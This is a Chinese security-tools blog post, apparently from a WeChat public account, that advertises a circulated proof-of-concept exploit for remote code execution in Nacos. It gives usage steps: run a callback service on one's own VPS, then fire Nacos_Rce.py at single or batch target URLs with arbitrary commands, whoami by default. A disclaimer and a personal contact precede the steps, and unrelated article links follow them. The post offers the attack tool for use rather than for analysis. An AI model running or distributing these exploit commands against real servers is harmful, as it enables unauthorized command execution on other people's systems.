网传nacos_rce漏洞poc（7月15日更新）

Web安全工具库 · 公众号 · · 2024-07-17 22:00

正文

===================================

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。个人微信： ivu123ivu

0x01 工具介绍

网传nacos_rce漏洞poc。

0x02 安装与使用

1. 将config.py和service.py放在自己的vps上并运行

python service.py

2. 单url验证

python .\Nacos_Rce.py -t vps的ip地址 -p 5000 -u http://xxx.xxx.xxx -c whoami-c whoami 可以不写，默认为whoami,可以自定义命令

3. 多url验证

python .\Nacos_Rce.py -t vps的ip地址 -p 5000 -f ./url.txt -c whoami-c whoami 可以不写，默认为whoami,可以自定义命令

0x03 项目链接下载

推荐文章

陈忻儿童心理 · 《认知天性》为什么难读以及解决方法

5 小时前

陈忻儿童心理 · 《从心理解孩子》在线课程2025春季班招生开始（课程有效期从2025年4月1日到2026年3月31日)

23 小时前

壹心理 · “曾身处深渊，所以也想拉他人一把”丨如何0基础入门心理行业？

昨天

壹心理 · 潜意识告诉你：为什么你越想要的，越得不到

3 天前

壹心理 · 身体有这些症状，说明你心理出问题了！

3 天前

水木文摘 · 让你心寒的朋友圈，还要不要发？

8 年前

FM93交通之声 · 痛心！3岁男童被遗忘在校车内死亡，裤子里有大便，临死前或用头撞击车窗…

7 年前

下厨房 · 厨友社丨夏日的缤纷水果，不止最real的style

7 年前

金羊毛工作坊 · 央行研究员：对比本轮去产能与1998年去产能

7 年前

旅游时报 · 苔藓三重奏！上海植物园最新展览让秋花都黯然失色

7 年前

Sov5搜索 · 小百科 · 今天看啥 · 移动版

51好读 - 好文章就要读起来!